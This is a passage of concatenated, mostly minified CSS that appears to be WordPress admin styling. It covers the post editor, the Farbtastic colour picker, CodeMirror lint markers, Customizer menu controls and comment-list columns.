th{padding-top:5px;padding-right:10px}#select-featured-image{padding:4px 0;overflow:hidden}#select-featured-image img{max-width:100%;height:auto;margin-bottom:10px}#select-featured-image a{float:left;clear:both}#select-featured-image .remove{display:none;margin-top:10px}.js #select-featured-image.has-featured-image .remove{display:inline-block}.no-js #select-featured-image .choose{display:none}.post-format-icon::before{display:inline-block;vertical-align:middle;height:20px;width:20px;margin-top:-4px;margin-right:7px;color:#dcdcde;font:normal 20px/1 dashicons;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}a.post-format-icon:hover:before{color:#135e96}#post-formats-select{line-height:2}#post-formats-select .post-format-icon::before{top:5px}input.post-format{margin-top:1px}label.post-format-icon{margin-left:0;padding:2px 0}.post-format-icon.post-format-standard::before{content:"\f109"}.post-format-icon.post-format-image::before{content:"\f128"}.post-format-icon.post-format-gallery::before{content:"\f161"}.post-format-icon.post-format-audio::before{content:"\f127"}.post-format-icon.post-format-video::before{content:"\f126"}.post-format-icon.post-format-chat::before{content:"\f125"}.post-format-icon.post-format-status::before{content:"\f130"}.post-format-icon.post-format-aside::before{content:"\f123"}.post-format-icon.post-format-quote::before{content:"\f122"}.post-format-icon.post-format-link::before{content:"\f103"}.category-adder{margin-left:120px;padding:4px 0}.category-adder h4{margin:0 0 8px}#side-sortables .category-adder{margin:0}.categorydiv div.tabs-panel,.customlinkdiv div.tabs-panel,.posttypediv div.tabs-panel,.taxonomydiv div.tabs-panel,.wp-tab-panel{min-height:42px;max-height:200px;overflow:auto;padding:0 .9em;border:solid 1px #dcdcde;background-color:#fff}div.tabs-panel-active{display:block}div.tabs-panel-inactive{display:none}div.tabs-panel-active:focus{box-shadow:inset 0 0 0 2px #2271b1;outline:2px solid transparent}#front-page-warning,#front-static-pages ul,.categorydiv ul.categorychecklist ul,.customlinkdiv ul.categorychecklist ul,.inline-editor ul.cat-checklist ul,.posttypediv ul.categorychecklist ul,.taxonomydiv ul.categorychecklist ul,ul.export-filters{margin-left:18px}ul.categorychecklist li{margin:0;padding:0;line-height:1.69230769;word-wrap:break-word}.categorydiv .tabs-panel,.customlinkdiv .tabs-panel,.posttypediv .tabs-panel,.taxonomydiv .tabs-panel{border-width:3px;border-style:solid}.form-wrap label{display:block;padding:2px 0}.form-field input[type=email],.form-field input[type=number],.form-field input[type=password],.form-field input[type=search],.form-field input[type=tel],.form-field input[type=text],.form-field input[type=url],.form-field textarea{border-style:solid;border-width:1px;width:95%}.form-field p,.form-field select{max-width:95%}.form-wrap p,p.description{margin:2px 0 5px;color:#646970}.form-wrap p,p.description,p.help,span.description{font-size:13px}p.description code{font-style:normal}.form-wrap .form-field{margin:1em 0;padding:0}.col-wrap h2{margin:12px 0;font-size:1.1em}.col-wrap p.submit{margin-top:-10px}.edit-term-notes{margin-top:2em}#poststuff .tagsdiv .ajaxtag{margin-top:1em}#poststuff .tagsdiv .howto{margin:1em 0 6px}.ajaxtag .newtag{position:relative}.tagsdiv .newtag{width:180px}.tagsdiv .the-tags{display:block;height:60px;margin:0 auto;overflow:auto;width:260px}#post-body-content .tagsdiv .the-tags{margin:0 5px}p.popular-tags{border:none;line-height:2em;padding:8px 12px 12px;text-align:justify}p.popular-tags a{padding:0 3px}.tagcloud{width:97%;margin:0 0 40px;text-align:justify}.tagcloud h2{margin:2px 0 12px}#poststuff .inside .the-tagcloud{margin:5px 0 10px;padding:8px;border:1px solid #dcdcde;line-height:1.2;word-spacing:3px}.the-tagcloud ul{margin:0}.the-tagcloud ul li{display:inline-block}.ac_results{display:none;margin:-1px 0 0;padding:0;list-style:none;position:absolute;z-index:10000;border:1px solid #4f94d4;background-color:#fff}.wp-customizer .ac_results{z-index:500000}.ac_results li{margin:0;padding:5px 10px;white-space:nowrap;text-align:left}.ac_over .ac_match,.ac_results .ac_over{background-color:#2271b1;color:#fff;cursor:pointer}.ac_match{text-decoration:underline}#addtag .spinner{float:none;vertical-align:top}#edittag{max-width:800px}.edit-tag-actions{margin-top:20px}.comment-php .wp-editor-area{height:200px}.comment-ays td,.comment-ays th{padding:10px 15px}.comment-ays .comment-content ul{list-style:initial;margin-left:2em}.comment-ays .comment-content a[href]:after{content:"(" attr(href) ")";display:inline-block;padding:0 4px;color:#646970;font-size:13px;word-break:break-all}.comment-ays .comment-content p.edit-comment{margin-top:10px}.comment-ays .comment-content p.edit-comment a[href]:after{content:"";padding:0}.comment-ays-submit .button-cancel{margin-left:1em}.spam-undo-inside,.trash-undo-inside{margin:1px 8px 1px 0;line-height:1.23076923}.spam-undo-inside .avatar,.trash-undo-inside .avatar{height:20px;width:20px;margin-right:8px;vertical-align:middle}.stuffbox .editcomment{clear:none;margin-top:0}#namediv.stuffbox .editcomment input{width:100%}#namediv.stuffbox .editcomment.form-table td{padding:10px}#comment-status-radio p{margin:3px 0 5px}#comment-status-radio input{margin:2px 3px 5px 0;vertical-align:middle}#comment-status-radio label{padding:5px 0}table.links-table{width:100%;border-spacing:0}.links-table th{font-weight:400;text-align:left;vertical-align:top;min-width:80px;width:20%;word-wrap:break-word}.links-table td,.links-table th{padding:5px 0}.links-table td label{margin-right:8px}.links-table td input[type=text],.links-table td textarea{width:100%}.links-table #link_rel{max-width:280px}#qt_content_dfw{display:none}.wp-editor-expand #qt_content_dfw{display:inline-block}.focus-on #screen-meta,.focus-on #screen-meta-links,.focus-on #wp-toolbar,.focus-on #wpfooter,.focus-on .page-title-action,.focus-on .postbox-container>*,.focus-on .update-nag,.focus-on .wrap>h1,.focus-on div.error,.focus-on div.notice,.focus-on div.updated{opacity:0;transition-duration:.6s;transition-property:opacity;transition-timing-function:ease-in-out}.focus-on #wp-toolbar{opacity:.3}.focus-off #screen-meta,.focus-off #screen-meta-links,.focus-off #wp-toolbar,.focus-off #wpfooter,.focus-off .page-title-action,.focus-off .postbox-container>*,.focus-off .update-nag,.focus-off .wrap>h1,.focus-off div.error,.focus-off div.notice,.focus-off div.updated{opacity:1;transition-duration:.2s;transition-property:opacity;transition-timing-function:ease-in-out}.focus-off #wp-toolbar{-webkit-transform:translate(0,0)}.focus-on #adminmenuback,.focus-on #adminmenuwrap{transition-duration:.6s;transition-property:transform;transition-timing-function:ease-in-out}.focus-on #adminmenuback,.focus-on #adminmenuwrap{transform:translateX(-100%)}.focus-off #adminmenuback,.focus-off #adminmenuwrap{transform:translateX(0);transition-duration:.2s;transition-property:transform;transition-timing-function:ease-in-out}@media print,(min-resolution:120dpi){#content-resize-handle,#post-body .wp_themeSkin .mceStatusbar a.mceResize{background:transparent url(../images/resize-2x.gif) no-repeat scroll right bottom;background-size:11px 11px}.rtl #content-resize-handle,.rtl #post-body .wp_themeSkin .mceStatusbar a.mceResize{background-image:url(../images/resize-rtl-2x.gif);background-position:left bottom}}@media only screen and (max-width:1200px){.post-type-attachment #poststuff{min-width:0}.post-type-attachment #wpbody-content #poststuff #post-body{margin:0}.post-type-attachment #wpbody-content #post-body.columns-2 #postbox-container-1{margin-right:0;width:100%}.post-type-attachment #poststuff #postbox-container-1 #side-sortables:empty,.post-type-attachment #poststuff #postbox-container-1 .empty-container{outline:0;height:0;min-height:0}.post-type-attachment #poststuff #post-body.columns-2 #side-sortables{min-height:0;width:auto}.is-dragging-metaboxes.post-type-attachment #post-body .meta-box-sortables{outline:0;min-height:0;margin-bottom:0}.post-type-attachment .columns-prefs,.post-type-attachment .screen-layout{display:none}}@media only screen and (max-width:850px){#poststuff{min-width:0}#wpbody-content #poststuff #post-body{margin:0}#wpbody-content #post-body.columns-2 #postbox-container-1{margin-right:0;width:100%}#poststuff #postbox-container-1 #side-sortables:empty,#poststuff #postbox-container-1 .empty-container{height:0;min-height:0}#poststuff #post-body.columns-2 #side-sortables{min-height:0;width:auto}.is-dragging-metaboxes #poststuff #post-body.columns-2 #side-sortables,.is-dragging-metaboxes #poststuff #post-body.columns-2 .meta-box-sortables,.is-dragging-metaboxes #poststuff #postbox-container-1 #side-sortables:empty,.is-dragging-metaboxes #poststuff #postbox-container-1 .empty-container{height:auto;min-height:60px}.columns-prefs,.screen-layout{display:none}}@media screen and (max-width:782px){.wp-core-ui .edit-tag-actions .button-primary{margin-bottom:0}#post-body-content{min-width:0}#titlediv #title-prompt-text{padding:10px}#poststuff .stuffbox .inside{padding:0 2px 4px 0}#poststuff .stuffbox>h3,#poststuff h2,#poststuff h3.hndle{padding:12px}#namediv.stuffbox .editcomment.form-table td{padding:5px 10px}.post-format-options{padding-right:0}.post-format-options a{margin-right:5px;margin-bottom:5px;min-width:52px}.post-format-options .post-format-title{font-size:11px}.post-format-options a div{height:28px;width:28px}.post-format-options a div:before{font-size:26px!important}#post-visibility-select{line-height:280%}.wp-core-ui .save-post-visibility,.wp-core-ui .save-timestamp{vertical-align:middle;margin-right:15px}.timestamp-wrap select#mm{display:block;width:100%;margin-bottom:10px}.timestamp-wrap #aa,.timestamp-wrap #hh,.timestamp-wrap #jj,.timestamp-wrap #mn{padding:12px 3px;font-size:14px;margin-bottom:5px;width:auto;text-align:center}ul.category-tabs{margin:30px 0 15px}ul.category-tabs li.tabs{padding:15px}ul.categorychecklist li{margin-bottom:15px}ul.categorychecklist ul{margin-top:15px}.category-add input[type=text],.category-add select{max-width:none;margin-bottom:15px}.tagsdiv .newtag{width:100%;height:auto;margin-bottom:15px}.tagchecklist{margin:25px 10px}.tagchecklist>li{font-size:16px;line-height:1.4}#commentstatusdiv p{line-height:2.8}.mceToolbar *{white-space:normal!important}.mceToolbar td,.mceToolbar tr{float:left!important}.wp_themeSkin a.mceButton{width:30px;height:30px}.wp_themeSkin .mceButton .mceIcon{margin-top:5px;margin-left:5px}.wp_themeSkin .mceSplitButton{margin-top:1px}.wp_themeSkin .mceSplitButton td a.mceAction{padding:6px 3px 6px 6px}.wp_themeSkin .mceSplitButton td a.mceOpen,.wp_themeSkin .mceSplitButtonEnabled:hover td a.mceOpen{padding-top:6px;padding-bottom:6px;background-position:1px 6px}.wp_themeSkin table.mceListBox{margin:5px}div.quicktags-toolbar input{padding:10px 20px}button.wp-switch-editor{font-size:16px;line-height:1;margin:7px 0 0 7px;padding:8px 12px}#wp-content-media-buttons a{font-size:14px;padding:6px 10px}.wp-media-buttons span.jetpack-contact-form-icon,.wp-media-buttons span.wp-media-buttons-icon{width:22px!important;margin-left:-2px!important}.wp-media-buttons #insert-jetpack-contact-form span.jetpack-contact-form-icon:before,.wp-media-buttons .add_media span.wp-media-buttons-icon:before{font-size:20px!important}#content_wp_fullscreen{display:none}.misc-pub-section{padding:20px 10px}#delete-action,#publishing-action{line-height:3.61538461}#publishing-action .spinner{float:none;margin-top:-2px}.comment-ays td,.comment-ays th{padding-bottom:0}.comment-ays td{padding-top:6px}.links-table #link_rel{max-width:none}.links-table td,.links-table th{padding:10px 0}.edit-term-notes{display:none}.privacy-text-box{width:auto}.privacy-text-box-toc{float:none;width:auto;height:100%;display:flex;flex-direction:column}.privacy-text-section .return-to-top{margin:2em 0 0}}
.farbtastic {
  position: relative;
}

.farbtastic * {
  position: absolute;
  cursor: crosshair;
}

.farbtastic,
.farbtastic .wheel {
  width: 195px;
  height: 195px;
}

.farbtastic .color,
.farbtastic .overlay {
  top: 47px;
  left: 47px;
  width: 101px;
  height: 101px;
}

.farbtastic .wheel {
  background: url(../images/wheel.png) no-repeat;
  width: 195px;
  height: 195px;
}

.farbtastic .overlay {
  background: url(../images/mask.png) no-repeat;
}

.farbtastic .marker {
  width: 17px;
  height: 17px;
  margin: -8px 0 0 -8px;
  overflow: hidden;
  background: url(../images/marker.png) no-repeat;
}
.wrap [class*="CodeMirror-lint-marker"],
.wp-core-ui [class*="CodeMirror-lint-message"],
.wrap .CodeMirror-lint-marker-multiple {
	background-image: none;
}

.wp-core-ui .CodeMirror-lint-marker-error,
.wp-core-ui .CodeMirror-lint-marker-warning {
	cursor: help;
}

.wrap .CodeMirror-lint-marker-multiple {
	position: absolute;
	top: 0;
}

.wrap [class*="CodeMirror-lint-marker"]:before {
	font: normal 18px/1 dashicons;
	position: relative;
	top: -2px;
}

.wp-core-ui [class*="CodeMirror-lint-message"]:before {
	font: normal 16px/1 dashicons;
	left: 16px;
	position: absolute;
}

.wp-core-ui .CodeMirror-lint-message-error,
.wp-core-ui .CodeMirror-lint-message-warning {
	box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.1);
	margin: 5px 0 2px;
	padding: 3px 12px 3px 28px;
}

.wp-core-ui .CodeMirror-lint-message-warning {
	background-color: #fcf9e8;
	border-left: 4px solid #dba617;
}

.wrap .CodeMirror-lint-marker-warning:before,
.wp-core-ui .CodeMirror-lint-message-warning:before {
	content: "\f534";
	color: #dba617;
}

.wp-core-ui .CodeMirror-lint-message-error {
	background-color: #fcf0f1;
	border-left: 4px solid #d63638;
}

.wrap .CodeMirror-lint-marker-error:before,
.wp-core-ui .CodeMirror-lint-message-error:before {
	content: "\f153";
	color: #d63638;
}

.wp-core-ui .CodeMirror-lint-tooltip {
	background: none;
	border: none;
	border-radius: 0;
	direction: ltr;
}

.wrap .CodeMirror .CodeMirror-matchingbracket {
	background: rgba(219, 166, 23, 0.3);
	color: inherit;
}

.CodeMirror {
	text-align: left;
}

.wrap .CodeMirror .CodeMirror-linenumber {
	color: #646970;
}
/*! This file is auto-generated */
#customize-theme-controls #accordion-section-menu_locations{position:relative;margin-top:30px}#customize-theme-controls #accordion-section-menu_locations>.accordion-section-title{border-bottom-color:#dcdcde;margin-top:15px}#customize-theme-controls .customize-section-title-menu_locations-description,#customize-theme-controls .customize-section-title-menu_locations-heading,#customize-theme-controls .customize-section-title-nav_menus-heading{padding:0 12px}#customize-theme-controls .customize-control-description.customize-section-title-menu_locations-description{font-style:normal}.menu-in-location,.menu-in-locations{display:block;font-weight:600;font-size:10px}#customize-controls .control-section .accordion-section-title:focus .menu-in-location,#customize-controls .control-section .accordion-section-title:hover .menu-in-location,#customize-controls .theme-location-set{color:#50575e}.customize-control-nav_menu_location .create-menu,.customize-control-nav_menu_location .edit-menu{margin-right:6px;vertical-align:middle;line-height:2.2}#customize-controls .customize-control-nav_menu_name{margin-bottom:12px}.customize-control-nav_menu_name p:last-of-type{margin-bottom:0}#customize-new-menu-submit{float:left;min-width:85px}.wp-customizer .menu-item-bar .menu-item-handle,.wp-customizer .menu-item-settings,.wp-customizer .menu-item-settings .description-thin{box-sizing:border-box}.wp-customizer .menu-item-bar{margin:0}.wp-customizer .menu-item-bar .menu-item-handle{width:100%;max-width:100%;background:#fff}.wp-customizer .menu-item-handle .item-title{margin-left:0}.wp-customizer .menu-item-handle .item-type{padding:1px 5px 0 21px;float:left;text-align:left}.wp-customizer .menu-item-handle:hover{z-index:8}.customize-control-nav_menu_item.has-notifications .menu-item-handle{border-right:4px solid #72aee6}.wp-customizer .menu-item-settings{max-width:100%;overflow:hidden;z-index:8;padding:10px;background:#f0f0f1;border:1px solid #8c8f94;border-top:none}.wp-customizer .menu-item-settings .description-thin{width:100%;height:auto;margin:0 0 8px}.wp-customizer .menu-item-settings input[type=text]{width:100%}.wp-customizer .menu-item-settings .submitbox{margin:0;padding:0}.wp-customizer .menu-item-settings .link-to-original{padding:5px 0;border:none;font-style:normal;margin:0;width:100%}.wp-customizer .menu-item .submitbox .submitdelete{float:right;margin:6px 0 0;padding:0;cursor:pointer}.menu-item-reorder-nav{display:none;background-color:#fff;position:absolute;top:0;left:0}.menus-move-left:before{content:"\f345"}.menus-move-right:before{content:"\f341"}.reordering .menu-item .item-controls,.reordering .menu-item .item-type{display:none}.reordering .menu-item-reorder-nav{display:block}.customize-control input.menu-name-field{width:100%}.wp-customizer .menu-item .item-edit{position:absolute;left:-19px;top:2px;display:block;width:30px;height:38px;margin-left:0!important;box-shadow:none;outline:0;overflow:hidden;cursor:pointer;text-align:center}.wp-customizer .menu-item.menu-item-edit-active .item-edit .toggle-indicator:before{content:"\f142"}.wp-customizer .menu-item-settings p.description{font-style:normal}.wp-customizer .menu-settings dl{margin:12px 0 0;padding:0}.wp-customizer .menu-settings .checkbox-input{margin-top:8px}.wp-customizer .menu-settings .menu-theme-locations{border-top:1px solid #c3c4c7}.wp-customizer .menu-settings{margin-top:36px;border-top:none}.wp-customizer .menu-location-settings{margin-top:12px;border-top:none}.wp-customizer .control-section-nav_menu .menu-location-settings{margin-top:24px;border-top:1px solid #dcdcde}.customize-control-nav_menu_auto_add,.wp-customizer .control-section-nav_menu .menu-location-settings{padding-top:12px}.menu-location-settings .customize-control-checkbox .theme-location-set{line-height:1}.customize-control-nav_menu_auto_add label{vertical-align:top}.menu-location-settings .new-menu-locations-widget-note{display:block}.customize-control-menu{margin-top:4px}#customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle{color:#50575e}.customize-screen-options-toggle{background:0 0;border:none;color:#50575e;cursor:pointer;margin:0;padding:20px;position:absolute;left:0;top:30px}#customize-controls .customize-info .customize-help-toggle{padding:20px}#customize-controls .customize-info .customize-help-toggle:before{padding:4px}#customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,#customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,#customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.active-menu-screen-options .customize-screen-options-toggle,.customize-screen-options-toggle:active,.customize-screen-options-toggle:focus,.customize-screen-options-toggle:hover{color:#2271b1}#customize-controls .customize-info .customize-help-toggle:focus,.customize-screen-options-toggle:focus{outline:2px solid transparent}.customize-screen-options-toggle:before{-moz-osx-font-smoothing:grayscale;border:none;content:"\f111";display:block;font:18px/1 dashicons;padding:5px;text-align:center;text-decoration:none!important;text-indent:0;right:6px;position:absolute;top:6px}#customize-controls .customize-info .customize-help-toggle:focus:before,.customize-screen-options-toggle:focus:before{border-radius:100%}.wp-customizer #screen-options-wrap{display:none;background:#fff;border-top:1px solid #dcdcde;padding:4px 15px 15px}.wp-customizer .metabox-prefs label{display:block;padding-left:0;line-height:30px}.wp-customizer .toggle-indicator{display:inline-block;font-size:20px;line-height:1}.rtl .wp-customizer .toggle-indicator{text-indent:1px}#available-menu-items .accordion-section-title .toggle-indicator:before,.wp-customizer .menu-item .item-edit .toggle-indicator:before{content:"\f140";display:block;padding:1px 0 1px 2px;speak:never;border-radius:50%;color:#787c82;font:normal 20px/1 dashicons;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none!important}.control-section-nav_menu .field-css-classes,.control-section-nav_menu .field-description,.control-section-nav_menu .field-link-target,.control-section-nav_menu .field-title-attribute,.control-section-nav_menu .field-xfn{display:none}.control-section-nav_menu.field-css-classes-active .field-css-classes,.control-section-nav_menu.field-description-active .field-description,.control-section-nav_menu.field-link-target-active .field-link-target,.control-section-nav_menu.field-title-attribute-active .field-title-attribute,.control-section-nav_menu.field-xfn-active .field-xfn{display:block}.menu-item-depth-0{margin-right:0}.menu-item-depth-1{margin-right:20px}.menu-item-depth-2{margin-right:40px}.menu-item-depth-3{margin-right:60px}.menu-item-depth-4{margin-right:80px}.menu-item-depth-5{margin-right:100px}.menu-item-depth-6{margin-right:120px}.menu-item-depth-7{margin-right:140px}.menu-item-depth-8{margin-right:160px}.menu-item-depth-9{margin-right:180px}.menu-item-depth-10{margin-right:200px}.menu-item-depth-11{margin-right:220px}.menu-item-depth-0>.menu-item-bar{margin-left:0}.menu-item-depth-1>.menu-item-bar{margin-left:20px}.menu-item-depth-2>.menu-item-bar{margin-left:40px}.menu-item-depth-3>.menu-item-bar{margin-left:60px}.menu-item-depth-4>.menu-item-bar{margin-left:80px}.menu-item-depth-5>.menu-item-bar{margin-left:100px}.menu-item-depth-6>.menu-item-bar{margin-left:120px}.menu-item-depth-7>.menu-item-bar{margin-left:140px}.menu-item-depth-8>.menu-item-bar{margin-left:160px}.menu-item-depth-9>.menu-item-bar{margin-left:180px}.menu-item-depth-10>.menu-item-bar{margin-left:200px}.menu-item-depth-11>.menu-item-bar{margin-left:220px}.menu-item-depth-0 .menu-item-transport{margin-right:0}.menu-item-depth-1 .menu-item-transport{margin-right:-20px}.menu-item-depth-3 .menu-item-transport{margin-right:-60px}.menu-item-depth-4 .menu-item-transport{margin-right:-80px}.menu-item-depth-2 .menu-item-transport{margin-right:-40px}.menu-item-depth-5 .menu-item-transport{margin-right:-100px}.menu-item-depth-6 .menu-item-transport{margin-right:-120px}.menu-item-depth-7 .menu-item-transport{margin-right:-140px}.menu-item-depth-8 .menu-item-transport{margin-right:-160px}.menu-item-depth-9 .menu-item-transport{margin-right:-180px}.menu-item-depth-10 .menu-item-transport{margin-right:-200px}.menu-item-depth-11 .menu-item-transport{margin-right:-220px}.reordering .menu-item-depth-0{margin-right:0}.reordering .menu-item-depth-1{margin-right:15px}.reordering .menu-item-depth-2{margin-right:30px}.reordering .menu-item-depth-3{margin-right:45px}.reordering .menu-item-depth-4{margin-right:60px}.reordering .menu-item-depth-5{margin-right:75px}.reordering .menu-item-depth-6{margin-right:90px}.reordering .menu-item-depth-7{margin-right:105px}.reordering .menu-item-depth-8{margin-right:120px}.reordering .menu-item-depth-9{margin-right:135px}.reordering .menu-item-depth-10{margin-right:150px}.reordering .menu-item-depth-11{margin-right:165px}.reordering .menu-item-depth-0>.menu-item-bar{margin-left:0}.reordering .menu-item-depth-1>.menu-item-bar{margin-left:15px}.reordering .menu-item-depth-2>.menu-item-bar{margin-left:30px}.reordering .menu-item-depth-3>.menu-item-bar{margin-left:45px}.reordering .menu-item-depth-4>.menu-item-bar{margin-left:60px}.reordering .menu-item-depth-5>.menu-item-bar{margin-left:75px}.reordering .menu-item-depth-6>.menu-item-bar{margin-left:90px}.reordering .menu-item-depth-7>.menu-item-bar{margin-left:105px}.reordering .menu-item-depth-8>.menu-item-bar{margin-left:120px}.reordering .menu-item-depth-9>.menu-item-bar{margin-left:135px}.reordering .menu-item-depth-10>.menu-item-bar{margin-left:150px}.reordering .menu-item-depth-11>.menu-item-bar{margin-left:165px}.control-section-nav_menu.menu .menu-item-edit-active{margin-right:0}.control-section-nav_menu.menu .menu-item-edit-active .menu-item-bar{margin-left:0}.control-section-nav_menu.menu .sortable-placeholder{margin-top:0;margin-bottom:1px;max-width:calc(100% - 2px);float:right;display:list-item;border-color:#a7aaad}.menu-item-transport li.customize-control{float:none}.control-section-nav_menu.menu ul.menu-item-transport .menu-item-bar{margin-top:0}.adding-menu-items .control-section{opacity:.4}.adding-menu-items .control-panel.control-section,.adding-menu-items .control-section.open{opacity:1}.menu-item-bar .item-delete{color:#d63638;position:absolute;top:2px;left:-19px;width:30px;height:38px;cursor:pointer;display:none}.menu-item-bar .item-delete:before{content:"\f335";position:absolute;top:9px;right:5px;border-radius:50%;font:normal 20px/1 dashicons;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.menu-item-bar .item-delete:focus,.menu-item-bar .item-delete:hover{box-shadow:none;outline:0;color:#d63638}.adding-menu-items .menu-item-bar .item-edit{display:none}.adding-menu-items .menu-item-bar .item-delete{display:block}#available-menu-items.opening{overflow-y:hidden}#available-menu-items #available-menu-items-search.open{height:100%;border-bottom:none}#available-menu-items .accordion-section-title{border-right:none;border-left:none;background:#fff;transition:background-color .15s;-webkit-user-select:auto;user-select:auto}#available-menu-items #available-menu-items-search .accordion-section-title,#available-menu-items .open .accordion-section-title{background:#f0f0f1}#available-menu-items .accordion-section-title:after{content:none!important}#available-menu-items .accordion-section-title:hover .toggle-indicator:before,#available-menu-items .button-link:focus .toggle-indicator:before,#available-menu-items .button-link:hover .toggle-indicator:before{color:#1d2327}#available-menu-items .open .accordion-section-title .toggle-indicator:before{content:"\f142";color:#1d2327}#available-menu-items .available-menu-items-list{overflow-y:auto;max-height:200px;background:0 0}#available-menu-items .accordion-section-title button{display:block;width:28px;height:35px;position:absolute;top:5px;left:5px;box-shadow:none;outline:0;cursor:pointer;text-align:center}#available-menu-items .accordion-section-title .no-items,#available-menu-items .cannot-expand .accordion-section-title .spinner,#available-menu-items .cannot-expand .accordion-section-title>button{display:none}#available-menu-items-search.cannot-expand .accordion-section-title .spinner{display:block}#available-menu-items .cannot-expand .accordion-section-title .no-items{float:left;color:#50575e;font-weight:400;margin-right:5px}#available-menu-items .accordion-section-content{max-height:290px;margin:0;padding:0;position:relative;background:0 0}#available-menu-items .accordion-section-content .available-menu-items-list{margin:0 0 45px;padding:1px 15px 15px}#available-menu-items .accordion-section-content .available-menu-items-list:only-child{margin-bottom:0}#new-custom-menu-item .accordion-section-content{padding:0 15px 15px}#available-menu-items .menu-item-tpl{margin:0}#available-menu-items .new-content-item .create-item-input.invalid,#available-menu-items .new-content-item .create-item-input.invalid:focus,#custom-menu-item-name.invalid,#custom-menu-item-url.invalid,.edit-menu-item-url.invalid,.menu-name-field.invalid,.menu-name-field.invalid:focus{border:1px solid #d63638}#available-menu-items .menu-item-handle .item-type{padding-left:0}#available-menu-items .menu-item-handle .item-title{padding-right:20px}#available-menu-items .menu-item-handle{cursor:pointer}#available-menu-items .menu-item-handle{box-shadow:none;margin-top:-1px}#available-menu-items .menu-item-handle:hover{z-index:1}#available-menu-items .item-title h4{padding:0 0 5px;font-size:14px}#available-menu-items .item-add{position:absolute;top:1px;right:1px;color:#8c8f94;width:30px;height:38px;box-shadow:none;outline:0;cursor:pointer;text-align:center}#available-menu-items .menu-item-handle .item-add:focus{color:#1d2327}#available-menu-items .item-add:before{content:"\f543";position:relative;right:2px;top:3px;display:inline-block;height:20px;border-radius:50%;font:normal 20px/1.05 dashicons}#available-menu-items .menu-item-handle.item-added .item-add:focus,#available-menu-items .menu-item-handle.item-added .item-title,#available-menu-items .menu-item-handle.item-added .item-type,#available-menu-items .menu-item-handle.item-added:hover .item-add{color:#8c8f94}#available-menu-items .menu-item-handle.item-added .item-add:before{content:"\f147"}#available-menu-items .accordion-section-title.loading .spinner,#available-menu-items-search.loading .accordion-section-title .spinner{visibility:visible;margin:0 20px}#available-menu-items-search .spinner{position:absolute;top:20px;left:21px;margin:0!important}#available-menu-items #available-menu-items-search .accordion-section-content{position:absolute;right:0;top:60px;bottom:0;max-height:none;width:100%;padding:1px 15px 15px;box-sizing:border-box}#available-menu-items-search .nothing-found{margin-top:-1px}#available-menu-items-search .accordion-section-title:after{display:none}#available-menu-items-search .accordion-section-content:empty{min-height:0;padding:0}#available-menu-items-search.loading .accordion-section-content div{opacity:.5}#available-menu-items-search.loading.loading-more .accordion-section-content div{opacity:1}#customize-preview{transition:all .2s}body.adding-menu-items #available-menu-items{right:0;visibility:visible}body.adding-menu-items .wp-full-overlay-main{right:300px}body.adding-menu-items #customize-preview{opacity:.4}body.adding-menu-items #customize-preview iframe{pointer-events:none}.menu-item-handle .spinner{display:none;float:right;margin:0 0 0 8px}.nav-menu-inserted-item-loading .spinner{display:block}.nav-menu-inserted-item-loading .menu-item-handle .item-type{padding:0 8px 0 0}.added-menu-item .menu-item-handle.loading,.nav-menu-inserted-item-loading .menu-item-handle{padding:10px 8px 10px 15px;cursor:default;opacity:.5;background:#fff;color:#787c82}.added-menu-item .menu-item-handle{transition-property:opacity,background,color;transition-duration:1.25s;transition-timing-function:cubic-bezier(.25,-2.5,.75,8)}#customize-theme-controls .control-panel-content .control-section-nav_menu:nth-last-child(2) .accordion-section-title{border-bottom-color:#dcdcde}#accordion-section-add_menu{margin:15px 12px}#accordion-section-add_menu h3{text-align:left}#accordion-section-add_menu .customize-add-menu-button,#accordion-section-add_menu h3{margin:0}#accordion-section-add_menu .customize-add-menu-button{font-weight:400}#create-new-menu-submit{float:left;margin:0 0 12px}.menu-delete-item{float:right;padding:1em 0;width:100%}.assigned-menu-locations-title p{margin:0 0 8px}li.assigned-to-menu-location .menu-delete-item{display:none}li.assigned-to-menu-location .add-new-menu-item{margin-bottom:1em}.menu-item-handle{margin-top:-1px}.ui-sortable-disabled .menu-item-handle{cursor:default}.menu-item-handle:hover{position:relative;z-index:10;color:#2271b1}#available-menu-items .menu-item-handle:hover .item-add,.menu-item-handle:hover .item-edit,.menu-item-handle:hover .item-type{color:#2271b1}.menu-item-edit-active .menu-item-handle{border-color:#8c8f94;border-bottom:none}.customize-control-nav_menu_item{margin-bottom:0}.customize-control-nav_menu .new-menu-item-invitation{margin-top:0;margin-bottom:0}.customize-control-nav_menu .customize-control-nav_menu-buttons{margin-top:12px}#available-menu-items .item-add:focus:before,#customize-controls .customize-info .customize-help-toggle:focus:before,.customize-screen-options-toggle:focus:before,.menu-delete:focus,.menu-item-bar .item-delete:focus:before,.wp-customizer .menu-item .submitbox .submitdelete:focus,.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}@media screen and (max-width:782px){#available-menu-items #available-menu-items-search .accordion-section-content{top:63px}}@media screen and (max-width:640px){#available-menu-items #available-menu-items-search .accordion-section-content{top:130px}}/*! This file is auto-generated */
.response-links{display:block;margin-bottom:1em}.response-links a{display:block}.response-links a.comments-edit-item-link{font-weight:600}.response-links a.comments-view-item-link{font-size:12px}.post-com-count-wrapper strong{font-weight:400}.comments-view-item-link{display:inline-block;clear:both}.column-comments .post-com-count-wrapper,.column-response .post-com-count-wrapper{white-space:nowrap;word-wrap:normal}.column-comments .post-com-count,.column-response .post-com-count{display:inline-block;vertical-align:top}.column-comments .post-com-count-approved,.column-comments .post-com-count-no-comments,.column-response .post-com-count-approved,.column-response .post-com-count-no-comments{margin-top:5px}.column-comments .comment-count-approved,.column-comments .comment-count-no-comments,.column-response .comment-count-approved,.column-response .comment-count-no-comments{box-sizing:border-box;display:block;padding:0 8px;min-width:24px;height:2em;border-radius:5px;background-color:#646970;color:#fff;font-size:11px;line-height:1.90909090;text-align:center}.column-comments .post-com-count-approved:after,.column-comments .post-com-count-no-comments:after,.column-response .post-com-count-approved:after,.column-response 